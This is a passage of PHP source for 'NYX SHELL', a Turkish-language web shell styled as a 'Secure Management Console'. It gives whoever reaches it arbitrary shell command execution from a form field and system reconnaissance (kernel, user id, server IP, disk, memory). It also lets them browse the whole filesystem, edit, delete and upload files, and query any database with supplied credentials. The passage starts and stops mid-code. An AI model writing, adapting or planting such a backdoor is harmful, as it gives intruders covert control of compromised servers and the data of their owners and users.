        } elseif (substr($l, -4) === '.tar') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && tar -xf ' . escapeshellarg($base);
        } elseif (substr($l, -3) === '.gz') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && gunzip -kf ' . escapeshellarg($base);
        } elseif (substr($l, -4) === '.bz2') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && bunzip2 -kf ' . escapeshellarg($base);
        } elseif (substr($l, -4) === '.rar') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && unrar x -o+ -inul ' . escapeshellarg($base);
        } elseif (substr($l, -3) === '.7z') {
            $cmd = 'cd ' . escapeshellarg(NX_PATH) . ' && 7z x -y -bso0 -bsp0 ' . escapeshellarg($base);
        }

        if ($cmd === '') {
            nx_set_msg('Desteklenmeyen arsiv.', 'error');
            nx_redirect(NX_PATH);
        }

        $r = nx_run($cmd);
        nx_set_msg($r['code'] === 0 ? 'Arsiv acildi.' : 'Acilamadi: ' . $r['output'], $r['code'] === 0 ? 'success' : 'error');
        nx_redirect(NX_PATH);
    }

    if (isset($_POST['nx_command'])) {
        $cmd = trim((string)($_POST['command_input'] ?? ''));
        if ($cmd === '') {
            $actionOutput = 'Komut bos.';
        } else {
            $r = nx_run($cmd);
            $actionOutput = '$ ' . $cmd . "\n" . str_repeat('─', 60) . "\n" . ($r['output'] !== '' ? $r['output'] : '(cikti yok)') . "\n\n[exit code: " . $r['code'] . ']';
        }
    }

    if (isset($_POST['nx_search'])) {
        $term = trim((string)($_POST['search_term'] ?? ''));
        if ($term === '') {
            $actionOutput = 'Arama terimi bos.';
        } else {
            $pattern = '*' . $term . '*';
            $cmd = 'find ' . escapeshellarg(NX_PATH) . ' -maxdepth 3 -iname ' . escapeshellarg($pattern) . ' 2>/dev/null';
            $r = nx_run($cmd);
            $actionOutput = 'Arama: ' . $term . "\n" . str_repeat('─', 60) . "\n" . ($r['output'] !== '' ? $r['output'] : 'Sonuc yok.');
        }
    }

    if (isset($_POST['nx_sysinfo'])) {
        $isWin = stripos(PHP_OS, 'WIN') === 0;
        $u = nx_user_info();
        $p = [];
        $p[] = 'SISTEM BILGILERI';
        $p[] = str_repeat('─', 60);
        $p[] = 'Kernel        : ' . php_uname();
        $p[] = 'OS            : ' . php_uname('s') . ' ' . php_uname('r');
        $p[] = 'Hostname      : ' . php_uname('n');
        $p[] = 'PHP           : ' . PHP_VERSION;
        $p[] = 'Server        : ' . ($_SERVER['SERVER_SOFTWARE'] ?? 'Bilinmiyor');
        $p[] = 'Server IP     : ' . nx_server_ip();
        $p[] = 'Kullanici     : ' . $u['user'];
        $p[] = 'ID            : ' . $u['id'];
        $p[] = '';
        if (!$isWin) {
            $p[] = 'DISK';
            $p[] = str_repeat('─', 60);
            $p[] = (nx_run('df -h 2>/dev/null')['output'] ?: '(yok)');
            $p[] = '';
            $p[] = 'BELLEK';
            $p[] = str_repeat('─', 60);
            $p[] = (nx_run('free -h 2>/dev/null')['output'] ?: '(yok)');
        }
        $actionOutput = implode("\n", $p);
    }

    if (isset($_POST['nx_db_query'])) {
        $host = trim((string)($_POST['db_host'] ?? ''));
        $user = (string)($_POST['db_user'] ?? '');
        $pass = (string)($_POST['db_pass'] ?? '');
        $name = trim((string)($_POST['db_name'] ?? ''));
        $q    = trim((string)($_POST['db_query'] ?? ''));

        if (!function_exists('mysqli_connect')) {
            $actionOutput = 'MySQLi yok.';
        } elseif ($host === '' || $q === '') {
            $actionOutput = 'Host ve sorgu zorunlu.';
        } else {
            $conn = @mysqli_connect($host, $user, $pass, $name);
            if (!$conn) {
                $actionOutput = 'Baglanti hatasi: ' . mysqli_connect_error();
            } else {
                @mysqli_set_charset($conn, 'utf8mb4');
                $res = @mysqli_query($conn, $q);
                if ($res === false) {
                    $actionOutput = 'Sorgu hatasi: ' . mysqli_error($conn);
                } elseif ($res instanceof mysqli_result) {
                    $fields = mysqli_fetch_fields($res);
                    $header = [];
                    foreach ($fields as $f) $header[] = $f->name;
                    $rows = [];
                    while ($row = mysqli_fetch_assoc($res)) $rows[] = $row;
                    $out = 'Sorgu OK — ' . count($rows) . ' satir' . "\n" . str_repeat('─', 60) . "\n";
                    $out .= implode(' | ', $header) . "\n";
                    $out .= str_repeat('─', max(60, (int)(mb_strlen(implode(' | ', $header)) * 1.1))) . "\n";
                    foreach ($rows as $row) {
                        $line = [];
                        foreach ($header as $h) $line[] = $row[$h] === null ? 'NULL' : (string)$row[$h];
                        $out .= implode(' | ', $line) . "\n";
                    }
                    $actionOutput = $out;
                    mysqli_free_result($res);
                } else {
                    $actionOutput = 'Sorgu OK — ' . mysqli_affected_rows($conn) . ' satir etkilendi.';
                }
                mysqli_close($conn);
            }
        }
    }

    if (isset($_POST['nx_helper'])) {
        $tool = (string)($_POST['helper_tool'] ?? '');
        $input = (string)($_POST['helper_input'] ?? '');
        $result = '';
        switch ($tool) {
            case 'b64e': $result = base64_encode($input); break;
            case 'b64d': $d = base64_decode($input, true); $result = $d === false ? 'Gecersiz Base64' : $d; break;
            case 'md5': $result = md5($input); break;
            case 'sha1': $result = sha1($input); break;
            case 'sha256': $result = hash('sha256', $input); break;
            case 'urle': $result = urlencode($input); break;
            case 'urld': $result = urldecode($input); break;
            case 'hexe': $result = bin2hex($input); break;
            case 'hexd': $d = @hex2bin($input); $result = $d === false ? 'Gecersiz Hex' : $d; break;
            default: $result = 'Bilinmeyen arac';
        }
        $actionOutput = $tool . ":\n" . str_repeat('─', 60) . "\n" . $result;
    }

    if (isset($_POST['nx_clear'])) {
        nx_set_msg('Cikti temizlendi.', 'info');
        nx_redirect(NX_PATH);
    }
}

$u = nx_user_info();
$csrfField = nx_csrf_field();
$editFile   = isset($_GET['edit'], $_GET['file'])   ? (string)$_GET['file']   : null;
$renameFile = isset($_GET['rename'], $_GET['file']) ? (string)$_GET['file'] : null;
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NYX SHELL — <?php echo nx_escape(NX_PATH); ?></title>
<style>
:root{
  --bg:#07090c;--panel:rgba(18,22,28,0.72);--panel-2:rgba(13,16,20,0.6);
  --border:rgba(48,56,68,0.55);--border-h:rgba(74,158,255,0.35);
  --text:#dfe4ea;--muted:#7c8695;--dim:#4a5262;
  --accent:#4a9eff;--accent-h:#6fb3ff;
  --danger:#e5484d;--success:#30a46c;--warn:#f5a524;
}
*{margin:0;padding:0;box-sizing:border-box}
html,body{min-height:100%}
body{
  font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;
  color:var(--text);font-size:13px;line-height:1.55;
  background:#07090c;padding:16px;position:relative;min-height:100vh;
  -webkit-font-smoothing:antialiased;
}
.bg{
  position:fixed;inset:0;z-index:-3;
  background:url("<?php echo nx_escape(NYX_BG_URL); ?>") center/cover no-repeat;
  filter:brightness(0.22) contrast(1.15) saturate(0.7) blur(0.5px);
  transform:scale(1.08);
}
.bg-overlay{
  position:fixed;inset:0;z-index:-2;
  background:
    radial-gradient(ellipse at top,rgba(7,9,12,0.65) 0%,rgba(7,9,12,0.94) 55%,#07090c 100%),
    linear-gradient(180deg,rgba(7,9,12,0.4) 0%,rgba(7,9,12,0.7) 100%);
}
.bg-grid{
  position:fixed;inset:0;z-index:-1;pointer-events:none;
  background-image:
    linear-gradient(rgba(74,158,255,0.025) 1px,transparent 1px),
    linear-gradient(90deg,rgba(74,158,255,0.025) 1px,transparent 1px);
  background-size:52px 52px;
  mask-image:radial-gradient(ellipse at center,black 0%,transparent 75%);
  -webkit-mask-image:radial-gradient(ellipse at center,black 0%,transparent 75%);
}
.wrap{max-width:1600px;margin:0 auto;position:relative}
.panel{
  background:var(--panel);
  backdrop-filter:blur(22px) saturate(140%);-webkit-backdrop-filter:blur(22px) saturate(140%);
  border:1px solid var(--border);border-radius:12px;
  margin-bottom:11px;overflow:hidden;
  box-shadow:
    0 12px 40px rgba(0,0,0,0.5),
    0 0 0 1px rgba(255,255,255,0.02) inset,
    0 1px 0 rgba(255,255,255,0.03) inset;
  position:relative;
}
.panel::before{
  content:"";position:absolute;top:0;left:8%;right:8%;height:1px;
  background:linear-gradient(90deg,transparent,rgba(74,158,255,0.35),transparent);
  pointer-events:none;
}
.hdr{display:flex;justify-content:space-between;align-items:center;padding:14px 20px;flex-wrap:wrap;gap:12px}
.hdr-l{display:flex;align-items:center;gap:14px}
.logo{
  width:42px;height:42px;border-radius:11px;
  background:linear-gradient(135deg,#0d2440 0%,#1a4a8a 45%,#4a9eff 100%);
  display:flex;align-items:center;justify-content:center;
  color:#fff;font-weight:800;font-size:15px;letter-spacing:0.5px;
  box-shadow:
    0 8px 24px rgba(74,158,255,0.3),
    0 0 0 1px rgba(74,158,255,0.35) inset,
    0 1px 0 rgba(255,255,255,0.12) inset;
  position:relative;
}
.logo::after{
  content:"";position:absolute;top:2px;left:2px;right:2px;height:45%;
  border-radius:9px 9px 50% 50%;
  background:linear-gradient(180deg,rgba(255,255,255,0.15),transparent);
  pointer-events:none;
}
.brand{font-size:15.5px;font-weight:700;color:#eef2f7;letter-spacing:1.4px}
.brand small{display:block;font-size:10.5px;color:var(--muted);font-weight:500;letter-spacing:0.8px;margin-top:3px}
.brand .live{
  display:inline-flex;align-items:center;gap:6px;
  font-size:9.5px;color:var(--muted);font-weight:600;
  letter-spacing:1px;margin-left:8px;padding:2px 7px;
  background:rgba(48,164,108,0.1);border:1px solid rgba(48,164,108,0.3);
  border-radius:5px;vertical-align:middle;
}
.brand .live::before{
  content:"";display:inline-block;width:5px;height:5px;border-radius:50%;
  background:#30a46c;box-shadow:0 0 6px rgba(48,164,108,0.8);
  animation:pulse 2s ease-in-out infinite;
}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:0.4}}
.hdr-r{display:flex;gap:7px;flex-wrap:wrap}
.btn{
  display:inline-flex;align-items:center;gap:7px;
  background:rgba(35,40,48,0.75);color:var(--text);
  border:1px solid var(--border);border-radius:8px;
  padding:7px 14px;font-size:12px;font-family:inherit;
  cursor:pointer;text-decoration:none;transition:all 0.18s;white-space:nowrap;
  font-weight:500;
}
.btn:hover{background:#2a3038;border-color:var(--border-h);color:#eef2f7;transform:translateY(-1px)}
.btn:active{transform:translateY(0)}
.btn-danger{background:rgba(229,72,77,0.1);border-color:rgba(229,72,77,0.35);color:#ff8b90}
.btn-danger:hover{background:rgba(229,72,77,0.9);border-color:var(--danger);color:#fff}
.btn-primary{
  background:linear-gradient(180deg,#3b8de8,#2563b8);
  border-color:rgba(74,158,255,0.5);color:#fff;font-weight:600;
  box-shadow:0 4px 14px rgba(37,99,184,0.3),0 1px 0 rgba(255,255,255,0.15) inset;
}
.btn-primary:hover{
  background:linear-gradient(180deg,#4a9eff,#2f7cd1);
  color:#fff;
  box-shadow:0 8px 20px rgba(74,158,255,0.4),0 1px 0 rgba(255,255,255,0.2) inset;
}
.stats{display:flex;flex-wrap:wrap;gap:22px;padding:11px 20px;border-top:1px solid var(--border);font-size:11.5px;background:rgba(7,9,12,0.3)}
.stat{display:flex;gap:7px;align-items:center}
.stat b{color:var(--accent);font-weight:600;font-size:10.5px;letter-spacing:0.5px;text-transform:uppercase}
.stat span{color:var(--text);word-break:break-all;max-width:420px;font-family:"SF Mono",Monaco,Consolas,monospace;font-size:11.5px}
.crumb{padding:11px 20px;font-size:12px;background:rgba(7,9,12,0.5);border-top:1px solid var(--border);word-break:break-all}
.crumb a{color:var(--accent);text-decoration:none;transition:color 0.15s;padding:1px 3px;border-radius:3px}
.crumb a:hover{color:var(--accent-h);background:rgba(74,158,255,0.1)}
.crumb .sep{color:var(--dim);margin:0 4px}
.alert{padding:11px 20px;font-size:12.5px;border-radius:9px;margin-bottom:11px;border:1px solid transparent;display:flex;align-items:center;gap:10px}
.alert::before{font-size:15px;font-weight:700}
.alert-success{background:rgba(48,164,108,0.1);border-color:rgba(48,164,108,0.35);color:#5cd29a}
.alert-success::before{content:"✓"}
.alert-error{background:rgba(229,72,77,0.1);border-color:rgba(229,72,77,0.35);color:#ff8b90}
.alert-error::before{content:"⚠"}
.alert-info{background:rgba(74,158,255,0.08);border-color:rgba(74,158,255,0.3);color:#7cc1ff}
.alert-info::before{content:"ℹ"}
.toolbar{display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:11px;padding:14px 20px;border-bottom:1px solid var(--border)}
.toolbar form{display:flex;gap:7px;align-items:center}
.inp,.sel{
  flex:1;background:rgba(7,9,12,0.7);border:1px solid var(--border);
  color:var(--text);padding:8px 12px;border-radius:8px;
  font-size:12px;font-family:inherit;outline:none;min-width:0;
  transition:all 0.18s;
}
.inp:focus,.sel:focus{border-color:var(--border-h);background:rgba(7,9,12,0.85);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.inp::placeholder{color:#3d444f}
input[type=file]{
  flex:1;background:rgba(7,9,12,0.5);border:1px solid var(--border);border-radius:8px;
  color:var(--muted);font-size:11.5px;padding:5px 9px;font-family:inherit;
}
input[type=file]::file-selector-button{
  background:rgba(35,40,48,0.8);border:1px solid var(--border);color:var(--text);
  padding:4px 11px;border-radius:6px;cursor:pointer;margin-right:8px;
  font-family:inherit;font-size:11px;transition:all 0.15s;
}
input[type=file]::file-selector-button:hover{background:#2a3038;border-color:var(--border-h)}
.tbl-wrap{overflow-x:auto}
table{width:100%;border-collapse:collapse;font-size:12px}
th,td{padding:10px 16px;text-align:left;border-bottom:1px solid var(--border);vertical-align:middle}
th{
  background:rgba(7,9,12,0.6);color:var(--muted);font-weight:600;
  font-size:10.5px;text-transform:uppercase;letter-spacing:0.8px;white-space:nowrap;
}
tr:last-child td{border-bottom:none}
tr{transition:background 0.12s}
tr:hover td{background:rgba(74,158,255,0.035)}
.name{max-width:420px;word-break:break-all;font-weight:500}
.name a{color:var(--accent);text-decoration:none;transition:color 0.15s}
.name a:hover{text-decoration:underline;color:var(--accent-h)}
.badge{
  display:inline-block;padding:2.5px 8px;
  background:rgba(35,40,48,0.8);border:1px solid var(--border);
  border-radius:5px;font-size:10px;color:var(--muted);
  text-transform:uppercase;letter-spacing:0.5px;font-weight:600;
}
.badge-dir{background:rgba(74,158,255,0.12);border-color:rgba(74,158,255,0.3);color:#7cc1ff}
.badge-php{background:rgba(160,110,220,0.12);border-color:rgba(160,110,220,0.3);color:#c1a0f0}
.badge-arc{background:rgba(245,165,36,0.12);border-color:rgba(245,165,36,0.3);color:#f5b84d}
.badge-img{background:rgba(48,164,108,0.12);border-color:rgba(48,164,108,0.3);color:#5cd29a}
.badge-cfg{background:rgba(229,72,77,0.12);border-color:rgba(229,72,77,0.3);color:#ff8b90}
.perm{
  font-family:"SF Mono",Monaco,Consolas,monospace;font-size:11px;
  color:var(--muted);cursor:pointer;padding:3px 8px;border-radius:6px;
  transition:all 0.15s;border:1px solid transparent;letter-spacing:0.5px;
}
.perm:hover{background:rgba(74,158,255,0.1);color:var(--accent);border-color:var(--border-h)}
.size{color:var(--dim);font-size:10.5px;margin-left:7px;font-family:"SF Mono",Monaco,Consolas,monospace}
.acts{white-space:nowrap;text-align:right}
.acts a,.acts button{
  background:transparent;border:1px solid transparent;color:var(--muted);
  cursor:pointer;padding:4px 9px;border-radius:6px;font-size:11.5px;
  text-decoration:none;display:inline-block;transition:all 0.15s;font-family:inherit;
  font-weight:500;
}
.acts a:hover,.acts button:hover{background:rgba(74,158,255,0.1);color:var(--accent);border-color:var(--border-h)}
.acts .d:hover{background:rgba(229,72,77,0.1);color:#ff8b90;border-color:rgba(229,72,77,0.35)}
.acts form{display:inline}
.acts .sp{color:var(--dim);margin:0 3px;font-size:10px}
.editor{padding:20px}
.editor h3{font-size:14px;color:#eef2f7;margin-bottom:15px;font-weight:600;letter-spacing:0.3px}
.editor textarea{
  width:100%;min-height:480px;
  background:rgba(7,9,12,0.9);border:1px solid var(--border);
  color:var(--text);padding:15px;border-radius:9px;
  font-family:"SF Mono",Monaco,"Cascadia Code",Consolas,monospace;
  font-size:12px;line-height:1.65;outline:none;resize:vertical;
  transition:all 0.18s;
}
.editor textarea:focus{border-color:var(--border-h);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.editor textarea[readonly]{background:rgba(18,22,28,0.7);color:var(--muted)}
.form-in{padding:20px}
.form-in h3{font-size:14px;color:#eef2f7;margin-bottom:15px;font-weight:600}
.form-in input[type=text]{
  width:100%;background:rgba(7,9,12,0.7);border:1px solid var(--border);
  color:var(--text);padding:10px 14px;border-radius:9px;
  font-size:13px;font-family:inherit;outline:none;transition:all 0.18s;
}
.form-in input[type=text]:focus{border-color:var(--border-h);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.acts2{display:flex;gap:9px;margin-top:15px;flex-wrap:wrap}
.sec{padding:15px 20px;border-top:1px solid var(--border)}
.sec summary{
  cursor:pointer;font-size:13px;font-weight:600;color:#eef2f7;
  padding:5px 0;list-style:none;display:flex;align-items:center;gap:9px;
  user-select:none;transition:color 0.15s;letter-spacing:0.3px;
}
.sec summary::-webkit-details-marker{display:none}
.sec summary::before{
  content:"▸";color:var(--muted);display:inline-block;
  transition:transform 0.2s;font-size:11px;
}
.sec[open] summary::before{transform:rotate(90deg);color:var(--accent)}
.sec summary:hover{color:var(--accent)}
.grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(310px,1fr));gap:13px;margin-top:13px}
.card{
  background:rgba(7,9,12,0.6);border:1px solid var(--border);
  border-radius:10px;padding:15px;
  transition:all 0.18s;
}
.card:hover{border-color:var(--border-h);box-shadow:0 4px 20px rgba(0,0,0,0.3)}
.card h4{
  font-size:11px;color:var(--accent);font-weight:700;
  margin-bottom:12px;text-transform:uppercase;letter-spacing:0.9px;
}
.card form{display:flex;flex-direction:column;gap:9px}
.card .row{display:grid;grid-template-columns:1fr 1fr;gap:9px}
.card .full{grid-column:1/-1}
.card textarea{
  width:100%;background:rgba(18,22,28,0.8);border:1px solid var(--border);
  color:var(--text);padding:8px 12px;border-radius:8px;
  font-size:12px;font-family:inherit;outline:none;resize:vertical;
  transition:all 0.18s;
}
.card textarea:focus{border-color:var(--border-h);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.card button{
  background:linear-gradient(180deg,#3b8de8,#2563b8);
  border:1px solid rgba(74,158,255,0.5);
  color:#fff;padding:9px 18px;border-radius:8px;cursor:pointer;
  font-size:12px;font-family:inherit;font-weight:600;transition:all 0.18s;
  box-shadow:0 4px 12px rgba(37,99,184,0.25);
}
.card button:hover{
  background:linear-gradient(180deg,#4a9eff,#2f7cd1);
  transform:translateY(-1px);
  box-shadow:0 6px 18px rgba(74,158,255,0.35);
}
.card button:active{transform:translateY(0)}
.out{
  background:rgba(3,5,8,0.9);border:1px solid var(--border);
  border-radius:9px;padding:15px;margin-top:11px;
  font-family:"SF Mono",Monaco,Consolas,monospace;
  font-size:12px;color:#c8cdd4;white-space:pre-wrap;word-break:break-word;
  max-height:500px;overflow:auto;line-height:1.6;
}
.out-wrap{padding:15px 20px}
.out-wrap h3{font-size:13px;color:#eef2f7;font-weight:600;margin-bottom:11px;letter-spacing:0.3px}
.out-acts{margin-top:11px;display:flex;gap:9px}
.foot{
  text-align:center;padding:22px;font-size:11px;color:var(--dim);
  margin-top:22px;border-top:1px solid var(--border);letter-spacing:0.5px;
}
.foot b{color:var(--muted);font-weight:600}
::-webkit-scrollbar{width:10px;height:10px}
::-webkit-scrollbar-track{background:transparent}
::-webkit-scrollbar-thumb{background:rgba(48,56,68,0.7);border-radius:5px;border:2px solid transparent;background-clip:content-box}
::-webkit-scrollbar-thumb:hover{background:rgba(124,134,149,0.6);background-clip:content-box}
@media(max-width:768px){
  body{padding:8px;font-size:12px}
  .hdr{flex-direction:column;align-items:stretch}
  .toolbar{grid-template-columns:1fr}
  th,td{padding:8px 11px}
  .stats{flex-direction:column;gap:7px}
  .stats .stat span{max-width:100%}
  .grid{grid-template-columns:1fr}
  .acts a,.acts button{padding:4px 7px;font-size:11px}
  .card .row{grid-template-columns:1fr}
}
</style>
</head>
<body>
<div class="bg"></div>
<div class="bg-overlay"></div>
<div class="bg-grid"></div>
<div class="wrap">

  <div class="panel">
    <div class="hdr">
      <div class="hdr-l">
        <div class="logo">NX</div>
        <div class="brand">NYX SHELL<span class="live">LIVE</span>
          <small>v<?php echo NYX_VERSION; ?> · Secure Management Console</small>
        </div>
      </div>
      <div class="hdr-r">
        <a href="?p=<?php echo urlencode(nx_enc('/')); ?>" class="btn">⌂ Kok Dizin</a>
        <a href="?p=<?php echo urlencode(nx_enc($scriptPath)); ?>" class="btn">▸ Betik Dizini</a>
        <a href="?logout=1" class="btn btn-danger">⏻ Cikis</a>
      </div>
    </div>
    <div class="stats">
      <div class="stat"><b>Kullanici</b><span><?php echo nx_escape($u['user']); ?></span></div>
      <div class="stat"><b>ID</b><span><?php echo nx_escape($u['id']); ?></span></div>
      <div class="stat"><b>IP</b><span><?php echo nx_escape(nx_server_ip()); ?></span></div>
      <div class="stat"><b>PHP</b><span><?php echo nx_escape(PHP_VERSION); ?></span></div>
    </div>
  </div>

  <div class="panel">
    <div class="crumb">
      <?php
      if (NX_PATH === '/' || NX_PATH === '') {
          echo '<a href="?p=' . urlencode(nx_enc('/')) . '">/</a>';
      } else {
          echo '<a href="?p=' . urlencode(nx_enc('/')) . '">/</a>';
          $parts = explode('/', trim(NX_PATH, '/'));
          $built = '';
          $isWin = isset($parts[0]) && preg_match('/^[A-Za-z]:$/', $parts[0]);
          if ($isWin) {
              $built = $parts[0];
              echo '<span class="sep">/</span><a href="?p=' . urlencode(nx_enc($built)) . '">' . nx_escape($parts[0]) . '</a>';
              array_shift($parts);
          }
          foreach ($parts as $p) {
              if ($p === '') continue;
              $built .= '/' . $p;
              echo '<span class="sep">/</span><a href="?p=' . urlencode(nx_enc($built)) . '">' . nx_escape($p) . '</a>';
          }
      }
      ?>
    </div>
  </div>

  <?php if ($message !== ''): ?>
  <div class="alert alert-<?php echo nx_escape($messageType); ?>"><?php echo nx_escape($message); ?></div>
  <?php endif; ?>

  <?php if ($editFile !== null): ?>
  <div class="panel">
    <div class="editor">
      <h3>Duzenle: <?php echo nx_escape($editFile); ?></h3>
      <?php
      $editPath = nx_safe_path(NX_PATH, $editFile);
      if ($editPath === null || !is_file($editPath)) {
          echo '<div class="alert alert-error">Dosya bulunamadi.</div>';
          echo '<div class="acts2"><a href="?p=' . urlencode(nx_enc(NX_PATH)) . '" class="btn">← Geri</a></div>';
      } elseif (!is_readable($editPath)) {
          echo '<div class="alert alert-error">Dosya okunamiyor.</div>';
          echo '<div class="acts2"><a href="?p=' . urlencode(nx_enc(NX_PATH)) . '" class="btn">← Geri</a></div>';
      } else {
          $canWrite = nx_writable($editPath);
          $content = @file_get_contents($editPath);
          if ($content === false) $content = '';
          if (!$canWrite) echo '<div class="alert alert-info">Salt okunur mod.</div>';
          echo '<form method="post">';
          echo $csrfField;
          echo '<input type="hidden" name="edit_file" value="' . nx_escape($editFile) . '">';
          echo '<textarea name="edit_content"' . ($canWrite ? '' : ' readonly') . '>' . nx_escape($content) . '</textarea>';
          echo '<div class="acts2">';
          if ($canWrite) echo '<button type="submit" name="nx_edit_save" class="btn btn-primary">💾 Kaydet</button>';
          echo '<a href="?p=' . urlencode(nx_enc(NX_PATH)) . '" class="btn">← Iptal</a>';
          echo '</div></form>';
      }
      ?>
    </div>
  </div>
  <?php endif; ?>

  <?php if ($renameFile !== null): ?>
  <div class="panel">
    <div class="form-in">
      <h3>Yeniden Adlandir: <?php echo nx_escape($renameFile); ?></h3>
      <form method="post">
        <?php echo $csrfField; ?>
        <input type="hidden" name="rename_original" value="<?php echo nx_escape($renameFile); ?>">
        <input type="text" name="rename_new" value="<?php echo nx_escape($renameFile); ?>" required>
        <div class="acts2">
          <button type="submit" name="nx_rename" class="btn btn-primary">✓ Yeniden Adlandir</button>
          <a href="?p=<?php echo urlencode(nx_enc(NX_PATH)); ?>" class="btn">← Iptal</a>
        </div>
      </form>
    </div>
  </div>
  <?php endif; ?>

  <?php if ($editFile === null && $renameFile === null): ?>

  <div class="panel">
    <div class="toolbar">
      <form method="post" enctype="multipart/form-data">
        <?php echo $csrfField; ?>
        <input type="file" name="upload_file" required>
        <button type="submit" name="nx_upload" class="btn btn-primary">↑ Yukle</button>
      </form>
      <form method="post">
        <?php echo $csrfField; ?>
        <input type="text" name="create_name" placeholder="Dosya/dizin adi" required class="inp">
        <select name="create_type" class="sel" style="flex:0 0 95px">
          <option value="file">Dosya</option>
          <option value="dir">Dizin</option>
        </select>
        <button type="submit" name="nx_create" class="btn btn-primary">+ Olustur</button>
      </form>
      <form method="post">
        <?php echo $csrfField; ?>
        <input type="text" name="search_term" placeholder="Dosya ara..." required class="inp">
        <button type="submit" name="nx_search" class="btn btn-primary">⌕ Ara</button>
      </form>
    </div>

    <div class="tbl-wrap">
      <table>
        <thead>
          <tr>
            <th>Ad</th>
            <th>Tur</th>
            <th>Boyut</th>
            <th>Izin</th>
            <th style="text-align:right">Islemler</th>
          </tr>
        </thead>
        <tbody>
        <?php
        if (!is_dir(NX_PATH) || !is_readable(NX_PATH)) {
            echo '<tr><td colspan="5" style="text-align:center;padding:30px;color:#ff8b90">Dizin okunamiyor.</td></tr>';
        } else {
            $entries = @scandir(NX_PATH);
            if ($entries === false) {
                echo '<tr><td colspan="5" style="text-align:center;padding:30px;color:#ff8b90">Listelenemedi.</td></tr>';
            } else {
                $dirs = []; $files = [];
                foreach ($entries as $e) {
                    if ($e === '.' || $e === '..') continue;
                    $full = NX_PATH . '/' . $e;
                    if (is_dir($full) && !is_link($full)) $dirs[] = $e;
                    else $files[] = $e;
                }
                sort($dirs, SORT_NATURAL | SORT_FLAG_CASE);
                sort($files, SORT_NATURAL | SORT_FLAG_CASE);
                $all = array_merge($dirs, $files);

                if (empty($all)) {
                    echo '<tr><td colspan="5" style="text-align:center;padding:30px;color:#7c8695">Bos dizin.</td></tr>';
                } else {
                    foreach ($all as $item) {
                        $full = NX_PATH . '/' . $item;
                        $isDir = is_dir($full) && !is_link($full);
                        $type = nx_type_label($item, $full);
                        $icon = nx_icon($item);
                        $perms = @fileperms($full);
                        $permShort = $perms === false ? '----' : substr(sprintf('%o', $perms), -4);
                        $permLong = nx_perms_str($perms);
                        $size = $isDir ? '—' : nx_fmt_size(@filesize($full));
                        $pEnc = urlencode(nx_enc(NX_PATH));
                        $fUrl = urlencode($item);
                        $fHtml = nx_escape($item);
                        $confirmMsg = nx_js_attr('Silinsin mi: ' . $item);
                        $extractMsg = nx_js_attr('Arsiv acilsin mi: ' . $item);

                        $badgeClass = 'badge';
                        if ($isDir) $badgeClass .= ' badge-dir';
                        elseif ($icon === 'PHP') $badgeClass .= ' badge-php';
                        elseif ($icon === 'ARC') $badgeClass .= ' badge-arc';
                        elseif ($icon === 'IMG') $badgeClass .= ' badge-img';
                        elseif ($icon === 'CFG') $badgeClass .= ' badge-cfg';

                        echo '<tr>';
                        echo '<td class="name">';
                        if ($isDir) {
                            $folderUrl = urlencode(nx_enc($full));
                            echo '<a href="?p=' . $folderUrl . '">' . $fHtml . '/</a>';
                        } else {
                            echo $fHtml;
                        }
                        echo '</td>';
                        echo '<td><span class="' . $badgeClass . '">' . nx_escape($type) . '</span></td>';
                        echo '<td><span class="size" style="margin:0">' . nx_escape($size) . '</span></td>';
                        echo '<td><span class="perm" title="' . nx_escape($permLong) . '" data-name="' . $fHtml . '" data-perm="' . nx_escape($permShort) . '">' . nx_escape($permShort) . '</span></td>';
                        echo '<td class="acts">';

                        if (!$isDir) {
                            echo '<a href="?edit=1&file=' . $fUrl . '&p=' . $pEnc . '" title="Duzenle">✎ Duzenle</a>';
                            echo '<span class="sp">·</span>';
                        }
                        echo '<a href="?rename=1&file=' . $fUrl . '&p=' . $pEnc . '" title="Yeniden adlandir">⇄ Adlandir</a>';
                        echo '<span class="sp">·</span>';
                        echo '<form method="post" data-confirm="' . $confirmMsg . '" style="display:inline">';
                        echo $csrfField;
                        echo '<input type="hidden" name="delete_name" value="' . $fHtml . '">';
                        echo '<button type="submit" name="nx_delete" class="d" title="Sil">✕ Sil</button>';
                        echo '</form>';

                        if (!$isDir) {
                            echo '<span class="sp">·</span>';
                            echo '<a href="?dl=1&file=' . $fUrl . '&p=' . $pEnc . '" title="Indir">↓ Indir</a>';
                        }
                        if (!$isDir && nx_is_archive($item)) {
                            echo '<span class="sp">·</span>';
                            echo '<form method="post" data-confirm="' . $extractMsg . '" style="display:inline">';
                            echo $csrfField;
                            echo '<input type="hidden" name="extract_name" value="' . $fHtml . '">';
                            echo '<button type="submit" name="nx_extract" title="Ac">⊞ Ac</button>';
                            echo '</form>';
                        }
                        if ($isDir) {
                            echo '<span class="sp">·</span>';
                            echo '<form method="post" style="display:inline">';
                            echo $csrfField;
                            echo '<input type="hidden" name="archive_name" value="' . $fHtml . '">';
                            echo '<input type="hidden" name="archive_type" value="zip">';
                            echo '<button type="submit" name="nx_archive" title="ZIP">🗜 ZIP</button>';
                            echo '</form>';
                            echo '<form method="post" style="display:inline">';
                            echo $csrfField;
                            echo '<input type="hidden" name="archive_name" value="' . $fHtml . '">';
                            echo '<input type="hidden" name="archive_type" value="tar">';
                            echo '<button type="submit" name="nx_archive" title="TAR.GZ">🗜 TAR</button>';
                            echo '</form>';
                        }
                        echo '</td></tr>';
                    }
                }
            }
        }
        ?>
        </tbody>
      </table>
    </div>
  </div>

  <div class="panel">
    <details class="sec">
      <summary>Gelismis Araclar</summary>
      <div class="grid">

        <div class="card">
          <h4>Komut Calistir</h4>
          <form method="post">
            <?php echo $csrfField; ?>
            <input type="text" name="command_input" placeholder="ls -la" required class="inp">
